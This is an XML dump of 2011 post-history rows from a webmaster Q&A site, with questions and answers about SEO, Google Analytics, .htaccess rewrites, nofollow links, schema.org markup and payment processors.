  <row Id="41009" PostHistoryTypeId="2" PostId="17089" RevisionGUID="11b385c9-6a38-4a52-8145-29718373d1e7" CreationDate="2011-07-19T16:45:21.967" UserId="540" Text="There's an interesting service called [LaunchRock][1] that you can use as a &quot;landing page&quot; to help your pre-launch site go viral. ([see it in action][2])&#xD;&#xA;&#xD;&#xA;It provides a signup page for you that visitors can drop their email into to be notified when you go live.&#xD;&#xA;&#xD;&#xA;If you combine this with some word of mouth advertizing, tweet about it on Twitter, share it on Facebook, Google+, LinkedIn (if business related) etc. you should be able to attract some interest.&#xD;&#xA;&#xD;&#xA;It is also handy if you have a 1-liner story about your site so users know what they are signing up for: e.g. &quot;The best social TV geolocation sharing site - coming soon&quot;(*)&#xD;&#xA;&#xD;&#xA;Also consider providing additional incentive to sign up early - e.g. special treatment/discount offers of some kind if you sign up before date X.&#xD;&#xA;&#xD;&#xA;Finally, when you do go live, you'll be able to broadcast your launch to many people - which depending on the social interaction required for your sites success... may be very helpful... if you need that &quot;Critical Mass&quot; to get conversations off the ground.&#xD;&#xA;&#xD;&#xA;Even if you don't use the LaunchRock service, I'd recommend rolling your own signup page before launch.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;(*) ok, totally made up buzzword fluff but you get the point.&#xD;&#xA;&#xD;&#xA;*Note: I have no affiliation with LaunchRock (or the sample site using it), but I too am hoping to use the service to launch my own site.*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://launchrock.com/76gb9&#xD;&#xA;  [2]: http://vizualize.me/" />
  <row Id="41010" PostHistoryTypeId="2" PostId="17090" RevisionGUID="3d0e369c-03c1-4aea-9bf1-7a96ca0d71b3" CreationDate="2011-07-19T17:39:16.450" UserId="118" Text="I develop a website ([shermanbrothers.com][1]) that sells products (*gasp*).  I'm trying to figure out whether it's more effective to target my users based on their general characteristics that:&#xD;&#xA;&#xD;&#xA;- meet the qualities of the consumer (e.g. men's shoes, women's shoes, kid's shoes, accessories....) &#xD;&#xA;- or qualities of the product (e.g. dress shoes, casual shoes, work shoes, ...).&#xD;&#xA;&#xD;&#xA;Obviously I want both covered in the end, but it's a question of which to emphasize.&#xD;&#xA;&#xD;&#xA;Any studies or A/B testing or just general advice on the topic?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.shermanbrothers.com" />
  <row Id="41011" PostHistoryTypeId="1" PostId="17090" RevisionGUID="3d0e369c-03c1-4aea-9bf1-7a96ca0d71b3" CreationDate="2011-07-19T17:39:16.450" UserId="118" Text="Targetting website users by consumer characteristics or by product qualities, which is more effective?" />
  <row Id="41012" PostHistoryTypeId="3" PostId="17090" RevisionGUID="3d0e369c-03c1-4aea-9bf1-7a96ca0d71b3" CreationDate="2011-07-19T17:39:16.450" UserId="118" Text="&lt;search&gt;&lt;usability&gt;&lt;discoverability&gt;&lt;hierarchy&gt;" />
  <row Id="41013" PostHistoryTypeId="5" PostId="17090" RevisionGUID="6df82378-cdbf-4511-a701-322bcaff1201" CreationDate="2011-07-19T18:21:53.053" UserId="118" Comment="added 13 characters in body" Text="I develop a website ([shermanbrothers.com][1]) that sells products (*gasp*).  I'm trying to figure out whether it's more effective to target my users based on their general characteristics that:&#xD;&#xA;&#xD;&#xA;- meet the qualities of the consumer (e.g. men's shoes, women's shoes, kid's shoes, accessories....) &#xD;&#xA;- or qualities of the product (e.g. dress shoes, casual shoes, work shoes, ...).&#xD;&#xA;&#xD;&#xA;Obviously I want both covered in the end, but it's a question of which to emphasize.&#xD;&#xA;&#xD;&#xA;Any studies or A/B testing or just general logical approaches to this topic?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.shermanbrothers.com" />
  <row Id="41014" PostHistoryTypeId="25" PostId="17077" RevisionGUID="1ddf93f3-bfe6-4f2e-a0e7-25cbb89c3b15" CreationDate="2011-07-19T18:31:48.123" Comment="http://twitter.com/#!/StackWebmasters/status/93387575909289984" />
  <row Id="41015" PostHistoryTypeId="2" PostId="17091" RevisionGUID="d2e848cf-0c9d-4984-b957-4a66d0f2c8a0" CreationDate="2011-07-19T18:34:28.320" UserId="8832" Text="I am using Google Apps in my domain. In this domain I have a Blogger blog and a Google Sites website. I have setup Google Analytics to track my website and it works fine. I also track blog visits and I see it in Stats page. I want all to be integrated in Google Analytics. I found an option to track subdomains in Analytics but still it needs a Website URL in the settings. I do not understand. I have multiple site URLs:&#xD;&#xA;&#xD;&#xA;http://blog.mydomain.com ----&gt; blog url&#xD;&#xA;&#xD;&#xA;http://www.mydomain.com  ----&gt; website URL&#xD;&#xA;&#xD;&#xA;How can I do this right?" />
  <row Id="41016" PostHistoryTypeId="1" PostId="17091" RevisionGUID="d2e848cf-0c9d-4984-b957-4a66d0f2c8a0" CreationDate="2011-07-19T18:34:28.320" UserId="8832" Text="How to track Blogger and Sites subdomains in Google Analytics?" />
  <row Id="41017" PostHistoryTypeId="3" PostId="17091" RevisionGUID="d2e848cf-0c9d-4984-b957-4a66d0f2c8a0" CreationDate="2011-07-19T18:34:28.320" UserId="8832" Text="&lt;google-analytics&gt;&lt;blogger&gt;&lt;google-apps&gt;&lt;google-sites&gt;" />
  <row Id="41018" PostHistoryTypeId="2" PostId="17092" RevisionGUID="78e4c967-763f-4b2b-9c6d-7fd357dd5797" CreationDate="2011-07-19T18:53:00.237" UserId="6906" Text="Somebody wants me to work on creating a website that involves user article submission, similar in purpose to [Digg][1], [Slashdot][2] or maybe [Reddit][3].&#xD;&#xA;&#xD;&#xA;While I can easily find .NET libraries/templates for extremely common things like forums and blog engines, I am not finding any sort of library or template for this. Do you know of one or know how to find one?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://digg.com/&#xD;&#xA;  [2]: http://slashdot.org/&#xD;&#xA;  [3]: http://www.reddit.com/" />
  <row Id="41019" PostHistoryTypeId="1" PostId="17092" RevisionGUID="78e4c967-763f-4b2b-9c6d-7fd357dd5797" CreationDate="2011-07-19T18:53:00.237" UserId="6906" Text=".NET Article Submission Website Template" />
  <row Id="41020" PostHistoryTypeId="3" PostId="17092" RevisionGUID="78e4c967-763f-4b2b-9c6d-7fd357dd5797" CreationDate="2011-07-19T18:53:00.237" UserId="6906" Text="&lt;template&gt;&lt;.net&gt;" />
  <row Id="41021" PostHistoryTypeId="2" PostId="17093" RevisionGUID="74a693bd-df82-47af-9773-28833af47454" CreationDate="2011-07-19T19:05:11.380" UserId="9055" Text="Here is the example:&#xD;&#xA;&#xD;&#xA;&lt;div itemprop=&quot;offers&quot; itemscope itemtype=&quot;http://schema.org/Offer&quot;&gt;&#xD;&#xA;     &lt;p&gt;some text and lorem ipsum&lt;/p&gt;&#xD;&#xA;      &lt;div class=&quot;random&quot;&gt;&#xD;&#xA;       &lt;span itemprop=&quot;price&quot;&gt;$40&lt;/span&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;" />
  <row Id="41022" PostHistoryTypeId="1" PostId="17093" RevisionGUID="74a693bd-df82-47af-9773-28833af47454" CreationDate="2011-07-19T19:05:11.380" UserId="9055" Text="Schema.org markups: Can I define a &lt;span itemprop=&quot;example&quot;&gt; within an undefined parent div if that parent div's parent div is defined?" />
  <row Id="41023" PostHistoryTypeId="3" PostId="17093" RevisionGUID="74a693bd-df82-47af-9773-28833af47454" CreationDate="2011-07-19T19:05:11.380" UserId="9055" Text="&lt;seo&gt;&lt;html&gt;" />
  <row Id="41024" PostHistoryTypeId="2" PostId="17094" RevisionGUID="a9159fba-9aab-4b43-a31e-1404b52423a5" CreationDate="2011-07-19T19:13:38.113" UserId="9056" Text="I have the following .htaccess:&#xD;&#xA;&#xD;&#xA;    #If the requested URI does not end with an extension OR if the URI ends with .php*&#xD;&#xA;    #(where * is optionally one or more numbers)&#xD;&#xA;    RewriteCond %{REQUEST_URI} !\.[^/]+$ [NC,OR]&#xD;&#xA;    RewriteCond %{REQUEST_URI} \.php[s0-9]*$ [NC]&#xD;&#xA;    &#xD;&#xA;    #Then serve the URI via the mapper&#xD;&#xA;    RewriteRule .* /mapper.php?uri=%{REQUEST_URI} [L,QSA]&#xD;&#xA;&#xD;&#xA;I would like to add the following conditions to it:&#xD;&#xA;&#xD;&#xA; - The file actually exists&#xD;&#xA; - And is without an extension&#xD;&#xA;&#xD;&#xA;So the entire file would do something like this:&#xD;&#xA;&#xD;&#xA;    IF (requested URI does not end with an extension) OR (URI ends with .php*) THEN&#xD;&#xA;        rewrite the URI&#xD;&#xA;    END&#xD;&#xA;    &#xD;&#xA;    IF (file exists) AND (file requested does not end with an extension)&#xD;&#xA;        rewrite the URI&#xD;&#xA;    END" />
  <row Id="41025" PostHistoryTypeId="1" PostId="17094" RevisionGUID="a9159fba-9aab-4b43-a31e-1404b52423a5" CreationDate="2011-07-19T19:13:38.113" UserId="9056" Text="Modify .htaccess to allow existing files without extension to be served" />
  <row Id="41026" PostHistoryTypeId="3" PostId="17094" RevisionGUID="a9159fba-9aab-4b43-a31e-1404b52423a5" CreationDate="2011-07-19T19:13:38.113" UserId="9056" Text="&lt;apache&gt;&lt;htaccess&gt;" />
  <row Id="41027" PostHistoryTypeId="2" PostId="17095" RevisionGUID="4fc0cd26-2ce1-4148-ad94-a901c1820e32" CreationDate="2011-07-19T19:23:17.263" UserId="8511" Text="I have a web calendar, all my own work. It works fine. But I see in the logs a bunch of search indexers go round and round and round trying to chase every link. It could go forward to the year 3000 month by month and day by day. I don't think the indexers should follow this as it doesn't serve much purpose. What HTTP headers or META headers should I apply to the calendar to let them know it is a calendar, but they shouldn't follow every link on those pages?" />
  <row Id="41028" PostHistoryTypeId="1" PostId="17095" RevisionGUID="4fc0cd26-2ce1-4148-ad94-a901c1820e32" CreationDate="2011-07-19T19:23:17.263" UserId="8511" Text="What headers/META headers should I be using for an infinite link system like a calendar?" />
  <row Id="41029" PostHistoryTypeId="3" PostId="17095" RevisionGUID="4fc0cd26-2ce1-4148-ad94-a901c1820e32" CreationDate="2011-07-19T19:23:17.263" UserId="8511" Text="&lt;http-headers&gt;&lt;calendar&gt;" />
  <row Id="41030" PostHistoryTypeId="2" PostId="17096" RevisionGUID="ab517e77-390c-4a75-9d6f-c00bae425ca2" CreationDate="2011-07-19T19:27:55.503" UserId="5727" Text="We launched a blog post which got picked up by a lot of social sites and it's given us a lot of traffic over the last few days.&#xD;&#xA;&#xD;&#xA;In Google Analytics though, the blog post page has all the hits with 90% bounce rate (that's normal imo) but most of them are being counted as *direct traffic* and not *referal traffic* as I would expect.&#xD;&#xA;&#xD;&#xA;Any reason for this?  It's hard to tell exactly which social sites are giving us all the traffic.  The url is fairly lengthy:&#xD;&#xA;&#xD;&#xA;http://www.domain.com/blog/44/on-html5-audio-formats-aac-and-ogg&#xD;&#xA;&#xD;&#xA;Which leads me to beleive it isn't being typed in by most people :)" />
  <row Id="41031" PostHistoryTypeId="1" PostId="17096" RevisionGUID="ab517e77-390c-4a75-9d6f-c00bae425ca2" CreationDate="2011-07-19T19:27:55.503" UserId="5727" Text="Google analytics direct traffic report" />
  <row Id="41032" PostHistoryTypeId="3" PostId="17096" RevisionGUID="ab517e77-390c-4a75-9d6f-c00bae425ca2" CreationDate="2011-07-19T19:27:55.503" UserId="5727" Text="&lt;google-analytics&gt;&lt;referrer&gt;" />
  <row Id="41033" PostHistoryTypeId="6" PostId="17092" RevisionGUID="41c5404f-c177-4a42-a6b8-a50f23d61e46" CreationDate="2011-07-19T19:35:01.410" UserId="4502" Comment="edited tags" Text="&lt;looking-for-a-script&gt;&lt;.net&gt;&lt;user-generated-content&gt;" />
  <row Id="41034" PostHistoryTypeId="5" PostId="17093" RevisionGUID="8aaa7671-bb7d-49ec-acd4-da1557528367" CreationDate="2011-07-19T19:36:19.820" UserId="9055" Comment="Edited the html so that it is visible, used {}'s instead of &lt;&gt;'s" Text="Here is the example:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;{div itemprop=&quot;offers&quot; itemscope itemtype=&quot;http://schema.org/Offer&quot;}&#xD;&#xA;     &lt;br/&gt;{p}some text and lorem ipsum{/p}&#xD;&#xA;      &lt;br/&gt;{div class=&quot;random&quot;}&#xD;&#xA;       &lt;br/&gt;{span itemprop=&quot;price&quot;}$40{/span}&#xD;&#xA;&lt;br/&gt;{/div}&#xD;&#xA;&lt;br/&gt;{/div}" />
  <row Id="41040" PostHistoryTypeId="2" PostId="17098" RevisionGUID="371da532-6281-428a-a182-a02ff803d99e" CreationDate="2011-07-19T20:12:27.980" UserId="5806" Text="Perhaps the social site is using a redirect which strips the referrer? This is usually not the case for mainstream ones like Facebook though.&#xD;&#xA;&#xD;&#xA;Certain privacy tools like ZoneAlarm are known to strip referrers too. These are not used that often either but is the only other possibility I can think of." />
  <row Id="41041" PostHistoryTypeId="5" PostId="17090" RevisionGUID="b8b13b02-1e9c-468f-a1f6-15d28845bbb0" CreationDate="2011-07-19T20:41:39.460" UserId="118" Comment="added 23 characters in body" Text="I develop a website ([shermanbrothers.com][1]) that sells products (*gasp*).  I'm trying to figure out whether it's more effective to create navigation that target my users based on their general characteristics that:&#xD;&#xA;&#xD;&#xA;- meet the qualities of the consumer (e.g. men's shoes, women's shoes, kid's shoes, accessories....) &#xD;&#xA;- or qualities of the product (e.g. dress shoes, casual shoes, work shoes, ...).&#xD;&#xA;&#xD;&#xA;Obviously I want both covered in the end, but it's a question of which to emphasize.&#xD;&#xA;&#xD;&#xA;Any studies or A/B testing or just general logical approaches to this topic?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.shermanbrothers.com" />
  <row Id="41042" PostHistoryTypeId="2" PostId="17099" RevisionGUID="7cd408ea-8482-4744-8d35-4705310fab63" CreationDate="2011-07-19T20:43:29.163" UserId="118" Text="Probably simply `&lt;a rel='nofollow' ...` on the calendar navigation links (as opposed to the events that link to specific events) would be fine." />
  <row Id="41043" PostHistoryTypeId="2" PostId="17100" RevisionGUID="546ebd9a-eff9-4099-a4fc-6f9ac1a1c4ba" CreationDate="2011-07-19T20:46:49.070" UserId="9060" Text="Is it best practices to display/not display a dropdown menu for the Home button in menu navigation?" />
  <row Id="41044" PostHistoryTypeId="1" PostId="17100" RevisionGUID="546ebd9a-eff9-4099-a4fc-6f9ac1a1c4ba" CreationDate="2011-07-19T20:46:49.070" UserId="9060" Text="Should the Home Menu Button Display a Submenu?" />
  <row Id="41045" PostHistoryTypeId="3" PostId="17100" RevisionGUID="546ebd9a-eff9-4099-a4fc-6f9ac1a1c4ba" CreationDate="2011-07-19T20:46:49.070" UserId="9060" Text="&lt;navigation&gt;&lt;menu&gt;&lt;best-practices&gt;" />
  <row Id="41046" PostHistoryTypeId="2" PostId="17101" RevisionGUID="c2e46e53-ddc0-4f23-99c1-78e8c41a948e" CreationDate="2011-07-19T20:48:42.763" UserId="7198" Text="Use [rel=&quot;nofollow&quot;](http://www.google.com/support/webmasters/bin/answer.py?answer=96569) on all links that you don't want spiders to follow or index (i.e. days, months, etc.).&#xD;&#xA;&#xD;&#xA;Use [robots.txt](http://www.robotstxt.org/) to specify paths that you want them to ignore.&#xD;&#xA;&#xD;&#xA;If your site is a web application, consider using robots.txt to disallow indexing of the whole app with:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /" />
  <row Id="41047" PostHistoryTypeId="2" PostId="17102" RevisionGUID="8cbc4ef9-5d8d-401d-a093-e6ba18ac0fcf" CreationDate="2011-07-19T21:03:01.603" UserId="4502" Text="(If this isn't just an abstract idea and you have an actual situation to deal with at the moment, maybe you should narrow the question down a bit with that.)&#xD;&#xA;&#xD;&#xA;Generally speaking the &quot;home&quot; concept only has a single function that reasonably goes along with it. I don't think I've ever seen a home menu item with sub-items, but any rule in UI design tends to have an implied &quot;unless there's a good reason to do otherwise&quot; on the end of it. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="41048" PostHistoryTypeId="2" PostId="17103" RevisionGUID="af46e0b2-721b-4a64-a7a8-6bf6d16d8c08" CreationDate="2011-07-19T21:03:23.583" UserId="7198" Text="It's not a common convention to display a drop down menu under a Home link, so it's probably better to avoid it. Navigation is best presented as a distinct and obvious list of links, not a hidden area that only a small portion of your audience may discover.&#xD;&#xA;&#xD;&#xA;Some would go further and argue that no 'Home button' is needed at all; it *is* a common convention to link your logo to your homepage, so I'd suggest that you follow that instead and present any drop down menus under clear headers in an obvious navigation area, like eBay, Amazon, Apple, and most of the sites listed in [Alexa's top 500](http://www.alexa.com/topsites) do.&#xD;&#xA;&#xD;&#xA;When trying to determine best practices, I always start with the 'best' sites and see how they've solved basic user experience problems. They'll have invested heavily in discovering what works. " />
  <row Id="41049" PostHistoryTypeId="2" PostId="17104" RevisionGUID="879de240-e069-4cf0-ad56-a8bb65e9957b" CreationDate="2011-07-19T21:22:34.217" UserId="9062" Text="Paypal Express Checkout API, Google Checkout API and Amazon Flexible Payment Services allow us to accept payment easily by simply redirecting users to their website and they'll handle everything. We don't even need to know their credit card numbers.&#xD;&#xA;&#xD;&#xA;However, what if I want my users to deal with me directly using their credit card numbers? This way I can change the payment processor without bothering my users. I think this is how traditional merchant accounts work. Does any of the payment services offered by Paypal/Google/Amazon work in this way?" />
  <row Id="41050" PostHistoryTypeId="1" PostId="17104" RevisionGUID="879de240-e069-4cf0-ad56-a8bb65e9957b" CreationDate="2011-07-19T21:22:34.217" UserId="9062" Text="Can Paypal/Google/Amazon accept credit card payments like a merchant account?" />
  <row Id="41051" PostHistoryTypeId="3" PostId="17104" RevisionGUID="879de240-e069-4cf0-ad56-a8bb65e9957b" CreationDate="2011-07-19T21:22:34.217" UserId="9062" Text="&lt;google&gt;&lt;payments&gt;&lt;paypal&gt;&lt;amazon&gt;&lt;payment-gateway&gt;" />
  <row Id="41052" PostHistoryTypeId="5" PostId="17093" RevisionGUID="523f2cc6-312d-4e39-915f-990bb1c0b9ee" CreationDate="2011-07-19T21:25:43.573" UserId="4502" Comment="deleted 2 characters in body; edited tags" Text="Here is the example:&#xD;&#xA;&#xD;&#xA;    &lt;div itemprop=&quot;offers&quot; itemscope itemtype=&quot;http://schema.org/Offer&quot;&gt;&#xD;&#xA;        &lt;p&gt;some text and lorem ipsum&lt;/p&gt;&#xD;&#xA;        &lt;div class=&quot;random&quot;&gt;&#xD;&#xA;           &lt;span itemprop=&quot;price&quot;&gt;$40&lt;/span&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;" />
  <row Id="41053" PostHistoryTypeId="6" PostId="17093" RevisionGUID="523f2cc6-312d-4e39-915f-990bb1c0b9ee" CreationDate="2011-07-19T21:25:43.573" UserId="4502" Comment="deleted 2 characters in body; edited tags" Text="&lt;seo&gt;&lt;microdata&gt;&lt;construction&gt;" />
  <row Id="41054" PostHistoryTypeId="25" PostId="17100" RevisionGUID="c19c955b-84bd-4657-b24f-7b79d9a0d060" CreationDate="2011-07-19T21:31:47.600" Comment="http://twitter.com/#!/StackWebmasters/status/93432874056957952" />
  <row Id="41055" PostHistoryTypeId="2" PostId="17105" RevisionGUID="a15f564f-db96-4b3d-b868-0aa103fd1bbf" CreationDate="2011-07-19T22:11:37.457" UserId="1253" Text="The types of payment services you are talking about require the user to make payment on the payment provider's website. When you take control of the payment you lose that because you are now responsible for handling the payment. So there would be no transparent transition for your users if you change processors.&#xD;&#xA;&#xD;&#xA;Paypal offers an API (I believe it is [Website Payments Pro][1]) which does allow you to use their services like you would with a payment gateway like Authorize.Net. Then if you switched to a true merchant account you could change the provider in the background and your users would not be aware of the change as it would be completely transparent to them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://merchant.paypal.com/cgi-bin/marketingweb?cmd=_render-content&amp;content_ID=merchant/wp_pro" />
  <row Id="41056" PostHistoryTypeId="25" PostId="17104" RevisionGUID="76cdb785-f0c4-452f-ad68-dfec31b553c3" CreationDate="2011-07-20T00:31:48.087" Comment="http://twitter.com/#!/StackWebmasters/status/93478172955389952" />
  <row Id="41063" PostHistoryTypeId="2" PostId="17107" RevisionGUID="78853b54-459b-47c1-a66a-14986e3aba4a" CreationDate="2011-07-20T02:21:16.823" UserId="9068" Text="I was wondering If I change all my links names which is about 2000 links will it effect my seo score and search engine rankings? And how should I warn search engines?&#xD;&#xA;&#xD;&#xA;I want to change my links from.&#xD;&#xA;&#xD;&#xA;    http://www.example.com/categories/name/sub-name/sub-name2&#xD;&#xA;&#xD;&#xA;To&#xD;&#xA;&#xD;&#xA;    http://www.example.com/category/name/sub-name/sub-name2" />
  <row Id="41064" PostHistoryTypeId="1" PostId="17107" RevisionGUID="78853b54-459b-47c1-a66a-14986e3aba4a" CreationDate="2011-07-20T02:21:16.823" UserId="9068" Text="Changing links names and search engines" />
  <row Id="41065" PostHistoryTypeId="3" PostId="17107" RevisionGUID="78853b54-459b-47c1-a66a-14986e3aba4a" CreationDate="2011-07-20T02:21:16.823" UserId="9068" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;links&gt;" />
  <row Id="41066" PostHistoryTypeId="2" PostId="17108" RevisionGUID="7e90ba19-2384-47aa-a323-4e653dca999c" CreationDate="2011-07-20T02:25:27.913" UserId="1253" Text="That will absolutely have a **huge** effect on your rankings. By changing your URLs you are essentially deleting your old pages and creating news ones. That means any rankings and links you have to the old URLs will be thrown away.&#xD;&#xA;&#xD;&#xA;If you do this you **must** do a 301 redirect from the old URLs to the new URLs. That way all links and other good stuff associated with the old URLs will be passed on to the new URLs. A small amount of it is lost but it is far better then losing everything.&#xD;&#xA;&#xD;&#xA;The code below *should* work for you (you will need to make the necessary changes for your specific needs). But I am not a .htacess guru so someone may need to correct this for me.&#xD;&#xA;&#xD;&#xA;    RedirectMatch 301 /categories/(.*)/(.*)/(.*) http://www.example.com/category/$1/$2/$3" />
  <row Id="41067" PostHistoryTypeId="25" PostId="17107" RevisionGUID="c6800efa-b8ce-45d6-81e3-120f8d7eae2e" CreationDate="2011-07-20T03:31:47.587" Comment="http://twitter.com/#!/StackWebmasters/status/93523471153369088" />
  <row Id="41069" PostHistoryTypeId="2" PostId="17109" RevisionGUID="29525eff-178c-43d8-a2ed-b932e8fc90b2" CreationDate="2011-07-20T05:35:18.530" UserId="9070" Text="I am working on SeoWebPart which shows u to display your page score I find all the thing which are useful in Seo calculation like&#xD;&#xA;&#xD;&#xA;**1.Count Word in h1 tag&#xD;&#xA;2.Count Word in h2 tag&#xD;&#xA;3.Count Word in Title tag&#xD;&#xA;4.Count Word in p tag&#xD;&#xA;5.Total Word in Page&#xD;&#xA;6.Count Word in anchor tag**&#xD;&#xA;&#xD;&#xA;so plz suggest me a formula using that i show u some score on page &#xD;&#xA;&#xD;&#xA;i use this formula now but it's not good &#xD;&#xA;&#xD;&#xA;score =  ([key word count]) * 100 / (total word count)&#xD;&#xA;" />
  <row Id="41070" PostHistoryTypeId="1" PostId="17109" RevisionGUID="29525eff-178c-43d8-a2ed-b932e8fc90b2" CreationDate="2011-07-20T05:35:18.530" UserId="9070" Text="Seo Calculation Formula???" />
  <row Id="41071" PostHistoryTypeId="3" PostId="17109" RevisionGUID="29525eff-178c-43d8-a2ed-b932e8fc90b2" CreationDate="2011-07-20T05:35:18.530" UserId="9070" Text="&lt;html&gt;&lt;seo-friendly&gt;" />
  <row Id="41072" PostHistoryTypeId="2" PostId="17110" RevisionGUID="02224822-8b75-42b3-8551-3df3a08e309a" CreationDate="2011-07-20T05:51:31.517" UserId="8935" Text="( To respect  the Privacy of our Competitors Brand and their Website Domain name and to    follow Our Company Policy  I changed  Name of the actual Domain and Keywords for this question ) &#xD;&#xA;&#xD;&#xA;We are running a marketing website which sells Braodband Related Products in our State of India . our Prime Product &quot;Reliance Broadband&quot; and keyword for this Product &quot; Reliance braodband&quot;  (Of course ,this is our Important Keyword for Serach Engine ) is strugling to appear in the top pages bcoz ther is alrady a Website in the same as &#xD;&#xA;&#xD;&#xA; **reliancebroadband.com**&#xD;&#xA;&#xD;&#xA;our domain is **getbraodband.com**  In Google Search Engine if keyword **reliance broadband** &#xD;&#xA;then our domain always displayed below next to the our Competitor (reliancebroadband.com)&#xD;&#xA;&#xD;&#xA;as per as my knowledge , i think  our website is more SEO frindly , large , Unique Contents than that of Our Competitor's website .and i also feel because their having domain name same as the keyword may they are placing above as us.&#xD;&#xA;&#xD;&#xA;Even i changed my page url as **getbraodband.com/reliancebraodband.html** still no Improvement now i want to know  if i create subdomain as ( **reliancebraodband.getbraodband.com**) to compite with the domain **reliancebraodband.com** .. &#xD;&#xA;&#xD;&#xA;and as i already mentioned  we have SEO friendly Design and of about 30+ backlinks ,and Unique Content,  **can We place above our Competitor in google SERP** ??&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;" />
  <row Id="41073" PostHistoryTypeId="1" PostId="17110" RevisionGUID="02224822-8b75-42b3-8551-3df3a08e309a" CreationDate="2011-07-20T05:51:31.517" UserId="8935" Text="my main key word is struggling to perform as there is already domain in that word ?" />
  <row Id="41074" PostHistoryTypeId="3" PostId="17110" RevisionGUID="02224822-8b75-42b3-8551-3df3a08e309a" CreationDate="2011-07-20T05:51:31.517" UserId="8935" Text="&lt;domains&gt;&lt;google-search&gt;&lt;seo-friendly&gt;&lt;competitors&gt;" />
  <row Id="41075" PostHistoryTypeId="2" PostId="17111" RevisionGUID="045c081c-76ff-4643-88a9-5e647ba7c0b5" CreationDate="2011-07-20T06:15:37.860" UserId="8957" Text="In your google analytics settings you need to add a new profile for a new domain. Then you need to add the tracking code in the header of the blogger template (blogger-&gt;design-&gt;edit html, find the `&lt;/head&gt;` tag and throw the tracking code right before that closing tag.&#xD;&#xA;after that you just need to verify that it's there and you're done (just did that myself to see if it works and it does)." />
  <row Id="41076" PostHistoryTypeId="25" PostId="17095" RevisionGUID="928a828a-de2d-4f13-b4c0-bfb9f2092ebb" CreationDate="2011-07-20T06:31:47.920" Comment="http://twitter.com/#!/StackWebmasters/status/93568769871462400" />
  <row Id="41077" PostHistoryTypeId="5" PostId="17109" RevisionGUID="414c31d4-4969-4166-a6e5-1f793caf5651" CreationDate="2011-07-20T06:50:12.503" UserId="9070" Comment="added 82 characters in body" Text="I am working on SeoWebPart which shows u to display your page score I find all the thing which are useful in Seo calculation like&#xD;&#xA;&#xD;&#xA;**1.Count Word in h1 tag&#xD;&#xA;2.Count Word in h2 tag&#xD;&#xA;3.Count Word in Title tag&#xD;&#xA;4.Count Word in p tag&#xD;&#xA;5.Total Word in Page&#xD;&#xA;6.Count Word in anchor tag**&#xD;&#xA;&#xD;&#xA;so plz suggest me a formula using that i show u some score on page &#xD;&#xA;&#xD;&#xA;i use this formula now but it's not good &#xD;&#xA;&#xD;&#xA;score =  ([key word count]) * 100 / (total word count)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I found some SEOPressor if u know then tell me how they calculate their rank&#xD;&#xA;" />
  <row Id="41078" PostHistoryTypeId="2" PostId="17112" RevisionGUID="b2f06928-454f-4b10-8428-f5b2b3b7a093" CreationDate="2011-07-20T07:19:10.537" UserId="7198" Text="I suggest that you *categorise* by consumer demographic (men/women/kids), but *filter* by qualities (formal/casual/price/style/colour etc.).&#xD;&#xA;&#xD;&#xA;In this way, you create a drill-down system that allows visitors to find exactly what they're looking for, starting with the widest selection (e.g. men's) in your main navigation area before focussing gradually on the final item (men's black brogues size 11 under $100).&#xD;&#xA;&#xD;&#xA;As a case study, take [ASOS](http://asos.com), the British online fashion retailer. They offer broad categories in the navigation area at the top of the page:&#xD;&#xA;&#xD;&#xA;![ASOS nav area][1]&#xD;&#xA;&#xD;&#xA;Click on any of those links (e.g. MEN), and you see a filterable selection of products in the left column:&#xD;&#xA;&#xD;&#xA;![ASOS subnav][2]&#xD;&#xA;&#xD;&#xA;Click on any of those, and you see a page of products with further filters in the left-hand column:&#xD;&#xA;&#xD;&#xA;![ASOS filters][3]&#xD;&#xA;&#xD;&#xA;The experience is designed to take you from a very broad category to a very specific one in a few clicks. It works. I often shop there first because I know that I'll be able to find what I'm after.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/RfRiZ.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/XhA8d.png&#xD;&#xA;  [3]: http://i.stack.imgur.com/653TA.png" />
  <row Id="41079" PostHistoryTypeId="25" PostId="17096" RevisionGUID="9dd8ef23-4cc2-47b9-be80-48788fe54c38" CreationDate="2011-07-20T09:31:48.117" Comment="http://twitter.com/#!/StackWebmasters/status/93614068757299201" />
  <row Id="41080" PostHistoryTypeId="2" PostId="17113" RevisionGUID="d7587972-30c4-4594-bc6b-16a2f9526449" CreationDate="2011-07-20T10:07:39.060" UserId="1381" Text="My client owns a webshop exampleshop.it - and we use adwords and google analytics to promote it.&#xD;&#xA;&#xD;&#xA;He somehow has the idea that more domains (pointing to the original  webshop) bring more traffic and better ranking.&#xD;&#xA;&#xD;&#xA;What do I tell him and how do I proove it?&#xD;&#xA;&#xD;&#xA;1) Would it be okay to have the same domain with other TLD endings (because I have seen many companies do this) &#xD;&#xA;&#xD;&#xA;The site will *not* be split up and there will not be different sites with different content. Not even differnet languages.&#xD;&#xA;&#xD;&#xA;So is there a way to have exampleshop.fr exampleshop.es exampleshop.de exampleshop.com exampleshop.net showing the same content and not be punished? &#xD;&#xA;&#xD;&#xA;2) Apart from that, is there a way to have shoe-shop.xyz and beautiful-shoes-shop.xyz and others showing the exactly same content and site as exampleshop.it and not be punished? (different 2nd level domain name)&#xD;&#xA;&#xD;&#xA;3) If the one or the other is possible, then how to do it tecnically (redirects? http code?) to have the best SEO effects? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
